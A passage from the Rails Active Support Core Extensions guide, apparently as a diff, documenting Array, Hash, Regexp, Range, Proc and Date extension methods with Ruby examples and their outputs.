+This method is an alias of <tt>Array#<<</tt>.
+
+<ruby>
+%w(a b c d).append('e')  # => %w(a b c d e)
+[].append([1,2])         # => [[1,2]]
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+
+h4. Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
+
+<ruby>
+User.exists?(:email => params[:email])
+</ruby>
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with +extract_options!+. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+
+Let's see for example the definition of the +caches_action+ controller macro:
+
+<ruby>
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+</ruby>
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
+
+NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
+
+h4(#array-conversions). Conversions
+
+h5. +to_sentence+
+
+The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
+
+<ruby>
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+</ruby>
+
+This method accepts three options:
+
+* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ".
+* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localised, their keys are:
+
+|_. Option                      |_. I18n key                                 |
+| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> |
+| <tt>:words_connector</tt>     | <tt>support.array.words_connector</tt>     |
+| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> |
+
+Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h5. +to_formatted_s+
+
+The method +to_formatted_s+ acts like +to_s+ by default.
+
+If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs. Returned strings are:
+
+<ruby>
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+</ruby>
+
+Integers in the example above are supposed to come from the respective calls to +id+.
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h5. +to_xml+
+
+The method +to_xml+ returns a string containing an XML representation of its receiver:
+
+<ruby>
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+</ruby>
+
+To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
+
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "objects":
+
+<ruby>
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+</ruby>
+
+If the receiver is an array of hashes the root element is by default also "objects":
+
+<ruby>
+[{:a => 1, :b => 2}, {:c => 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+</ruby>
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option <tt>:children</tt> allows you to set these node names.
+
+The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
+
+<ruby>
+Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h4. Wrapping
+
+The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like).
+
+Specifically:
+
+* If the argument is +nil+ an empty list is returned.
+* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned.
+* Otherwise, an array with the argument as its single element is returned.
+
+<ruby>
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+</ruby>
+
+This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
+
+* If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns +nil+ right away.
+* If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
+* It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
+
+The last point is particularly worth comparing for some enumerables:
+
+<ruby>
+Array.wrap(:foo => :bar) # => [{:foo => :bar}]
+Array(:foo => :bar)      # => [[:foo, :bar]]
+</ruby>
+
+There's also a related idiom that uses the splat operator:
+
+<ruby>
+[*object]
+</ruby>
+
+which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+
+Thus, in this case the behavior is different for +nil+, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of +object+s.
+
+NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
+
+h4. Duplicating
+
+The method +Array.deep_dup+ duplicates itself and all objects inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Array#map+ with sending +deep_dup+ method to each object inside.
+
+<ruby>
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/deep_dup.rb+.
+
+h4. Grouping
+
+h5. +in_groups_of(number, fill_with = nil)+
+
+The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+<ruby>
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+</ruby>
+
+or yields them in turn if a block is passed:
+
+<ruby>
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%=h a %></td>
+    <td><%=h b %></td>
+    <td><%=h c %></td>
+  </tr>
+<% end %>
+</ruby>
+
+The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+<ruby>
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+</ruby>
+
+And you can tell the method not to fill the last group passing +false+:
+
+<ruby>
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+</ruby>
+
+As a consequence +false+ can't be a used as a padding value.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h5. +in_groups(number, fill_with = nil)+
+
+The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+</ruby>
+
+or yields them in turn if a block is passed:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+</ruby>
+
+The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+</ruby>
+
+And you can tell the method not to fill the smaller groups passing +false+:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+</ruby>
+
+As a consequence +false+ can't be a used as a padding value.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h5. +split(value = nil)+
+
+The method +split+ divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+<ruby>
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+</ruby>
+
+Otherwise, the value received as argument, which defaults to +nil+, is the separator:
+
+<ruby>
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+</ruby>
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h3. Extensions to +Hash+
+
+h4(#hash-conversions). Conversions
+
+h5(#hash-to-xml). +to_xml+
+
+The method +to_xml+ returns a string containing an XML representation of its receiver:
+
+<ruby>
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+</ruby>
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
+
+* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+
+* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>.
+
+* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node.
+
+* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+
+* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
+
+<ruby>
+XML_TYPE_NAMES = {
+  "Symbol"     => "symbol",
+  "Fixnum"     => "integer",
+  "Bignum"     => "integer",
+  "BigDecimal" => "decimal",
+  "Float"      => "float",
+  "TrueClass"  => "boolean",
+  "FalseClass" => "boolean",
+  "Date"       => "date",
+  "DateTime"   => "datetime",
+  "Time"       => "datetime"
+}
+</ruby>
+
+By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+
+The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
+
+NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
+
+h4. Merging
+
+Ruby has a built-in method +Hash#merge+ that merges two hashes:
+
+<ruby>
+{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
+# => {:a => 0, :b => 1, :c => 2}
+</ruby>
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+h5. +reverse_merge+ and +reverse_merge!+
+
+In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
+
+<ruby>
+options = {:length => 30, :omission => "..."}.merge(options)
+</ruby>
+
+Active Support defines +reverse_merge+ in case you prefer this alternative notation:
+
+<ruby>
+options = options.reverse_merge(:length => 30, :omission => "...")
+</ruby>
+
+And a bang version +reverse_merge!+ that performs the merge in place:
+
+<ruby>
+options.reverse_merge!(:length => 30, :omission => "...")
+</ruby>
+
+WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+
+h5. +reverse_update+
+
+The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
+
+WARNING. Note that +reverse_update+ has no bang.
+
+NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+
+h5. +deep_merge+ and +deep_merge!+
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+<ruby>
+{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
+# => {:a => {:b => 1, :c => 2}}
+</ruby>
+
+The method +deep_merge!+ performs a deep merge in place.
+
+NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
+
+h4. Deep duplicating
+
+The method +Hash.deep_dup+ duplicates itself and all keys and values inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Enumerator#each_with_object+ with sending +deep_dup+ method to each pair inside.
+
+<ruby>
+hash = { :a => 1, :b => { :c => 2, :d => [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/deep_dup.rb+.
+
+h4. Diffing
+
+The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
+
+* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash.
+
+* If both hashes have +key+, but with different values, the pair in the receiver wins.
+
+* The rest is just merged.
+
+<ruby>
+{:a => 1}.diff(:a => 1)
+# => {}, first rule
+
+{:a => 1}.diff(:a => 2)
+# => {:a => 1}, second rule
+
+{:a => 1}.diff(:b => 2)
+# => {:a => 1, :b => 2}, third rule
+
+{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4)
+# => {:a => 1, :b => 2, :d => 4}, all rules
+
+{}.diff({})        # => {}
+{:a => 1}.diff({}) # => {:a => 1}
+{}.diff(:a => 1)   # => {:a => 1}
+</ruby>
+
+An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
+
+<ruby>
+hash.diff(hash2).diff(hash2) == hash
+</ruby>
+
+Diffing hashes may be useful for error messages related to expected option hashes for example.
+
+NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
+
+h4. Working with Keys
+
+h5. +except+ and +except!+
+
+The method +except+ returns a hash with the keys in the argument list removed, if present:
+
+<ruby>
+{:a => 1, :b => 2}.except(:a) # => {:b => 2}
+</ruby>
+
+If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
+
+<ruby>
+{:a => 1}.with_indifferent_access.except(:a)  # => {}
+{:a => 1}.with_indifferent_access.except("a") # => {}
+</ruby>
+
+The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
+
+<ruby>
+params[:account] = params[:account].except(:plan_id) unless admin?
+@account.update_attributes(params[:account])
+</ruby>
+
+There's also the bang variant +except!+ that removes keys in the very receiver.
+
+NOTE: Defined in +active_support/core_ext/hash/except.rb+.
+
+h5. +transform_keys+ and +transform_keys!+
+
+The method +transform_keys+ accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+
+<ruby>
+{nil => nil, 1 => 1, :a => :a}.transform_keys{ |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+</ruby>
+
+The result in case of collision is undefined:
+
+<ruby>
+{"a" => 1, :a => 2}.transform_keys{ |key| key.to_s.upcase }
+# => {"A" => 2}, in my test, can't rely on this result though
+</ruby>
+
+This method may be useful for example to build specialized conversions. For instance +stringify_keys+ and +symbolize_keys+ use +transform_keys+ to perform their key conversions:
+
+<ruby>
+def stringify_keys
+  transform_keys{ |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys{ |key| key.to_sym rescue key }
+end
+</ruby>
+
+There's also the bang variant +transform_keys!+ that applies the block operations to keys in the very receiver.
+
+Besides that, one can use +deep_transform_keys+ and +deep_transform_keys!+ to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+<ruby>
+{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +stringify_keys+ and +stringify_keys!+
+
+The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
+
+<ruby>
+{nil => nil, 1 => 1, :a => :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+</ruby>
+
+The result in case of collision is undefined:
+
+<ruby>
+{"a" => 1, :a => 2}.stringify_keys
+# => {"a" => 2}, in my test, can't rely on this result though
+</ruby>
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
+
+<ruby>
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+</ruby>
+
+The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
+
+There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver.
+
+Besides that, one can use +deep_stringify_keys+ and +deep_stringify_keys!+ to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+<ruby>
+{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +symbolize_keys+ and +symbolize_keys!+
+
+The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
+
+<ruby>
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1 => 1, nil => nil, :a => "a"}
+</ruby>
+
+WARNING. Note in the previous example only one key was symbolized.
+
+The result in case of collision is undefined:
+
+<ruby>
+{"a" => 1, :a => 2}.symbolize_keys
+# => {:a => 2}, in my test, can't rely on this result though
+</ruby>
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
+
+<ruby>
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+</ruby>
+
+The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
+
+There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver.
+
+Besides that, one can use +deep_symbolize_keys+ and +deep_symbolize_keys!+ to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+<ruby>
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, :nested=>{:a=>3, 5=>5}}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +to_options+ and +to_options!+
+
+The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h5. +assert_valid_keys+
+
+The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
+
+<ruby>
+{:a => 1}.assert_valid_keys(:a)  # passes
+{:a => 1}.assert_valid_keys("a") # ArgumentError
+</ruby>
+
+Active Record does not accept unknown options when building associations, for example. It implements that control via +assert_valid_keys+.
+
+NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+
+h4. Slicing
+
+Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+<ruby>
+{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
+# => {:c => 3, :a => 1}
+
+{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
+# => {:b => 2} # non-existing keys are ignored
+</ruby>
+
+If the receiver responds to +convert_key+ keys are normalized:
+
+<ruby>
+{:a => 1, :b => 2}.with_indifferent_access.slice("a")
+# => {:a => 1}
+</ruby>
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also +slice!+ which in addition to perform a slice in place returns what's removed:
+
+<ruby>
+hash = {:a => 1, :b => 2}
+rest = hash.slice!(:a) # => {:b => 2}
+hash                   # => {:a => 1}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+
+h4. Extracting
+
+The method +extract!+ removes and returns the key/value pairs matching the given keys.
+
+<ruby>
+hash = {:a => 1, :b => 2}
+rest = hash.extract!(:a) # => {:a => 1}
+hash                     # => {:b => 2}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+
+h4. Indifferent Access
+
+The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
+
+<ruby>
+{:a => 1}.with_indifferent_access["a"] # => 1
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
+
+h3. Extensions to +Regexp+
+
+h4. +multiline?+
+
+The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
+
+<ruby>
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+</ruby>
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+<ruby>
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/regexp.rb+.
+
+h3. Extensions to +Range+
+
+h4. +to_s+
+
+Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
+
+<ruby>
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+</ruby>
+
+As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
+
+h4. +include?+
+
+The methods +Range#include?+ and +Range#===+ say whether some value falls between the ends of a given instance:
+
+<ruby>
+(2..3).include?(Math::E) # => true
+</ruby>
+
+Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+<ruby>
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
+
+h4. +overlaps?+
+
+The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
+
+<ruby>
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
+
+h3. Extensions to +Proc+
+
+h4. +bind+
+
+As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
+
+<ruby>
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+</ruby>
+
+An unbound method is not callable as is, you need to bind it first to an object with +bind+:
+
+<ruby>
+clear = Hash.instance_method(:clear)
+clear.bind({:a => 1}).call # => {}
+</ruby>
+
+Active Support defines +Proc#bind+ with an analogous purpose:
+
+<ruby>
+Proc.new { size }.bind([]).call # => 0
+</ruby>
+
+As you see that's callable and bound to the argument, the return value is indeed a +Method+.
+
+NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from.
+
+Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
+
+<ruby>
+def handler_for_rescue(exception)
+  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+    ...
+  end
+
+  case rescuer
+  when Symbol
+    method(rescuer)
+  when Proc
+    rescuer.bind(self)
+  end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/proc.rb+.
+
+h3. Extensions to +Date+
+
+h4. Calculations
+
+NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+.
+
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior.
+
+h5. +Date.current+
+
+Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+.
+
+When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+.
+
+h5. Named dates
+
+h6. +prev_year+, +next_year+
+
+In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
+
+<ruby>
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+</ruby>
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+<ruby>
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+</ruby>
+
++prev_year+ is aliased to +last_year+.
+
+h6. +prev_month+, +next_month+
+
+In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
+
+<ruby>
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+</ruby>
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+<ruby>
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+</ruby>
+
++prev_month+ is aliased to +last_month+.
+
+h6. +prev_quarter+, +next_quarter+
+
+Same as +prev_month+ and +next_month+. It returns the date with the same day in the previous or next quarter:
+
+<ruby>
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+</ruby>
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+<ruby>
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+</ruby>
+
++prev_quarter+ is aliased to +last_quarter+.
+
+h6. +beginning_of_week+, +end_of_week+
+
+The methods +beginning_of_week+ and +end_of_week+ return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument.
+
+<ruby>
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
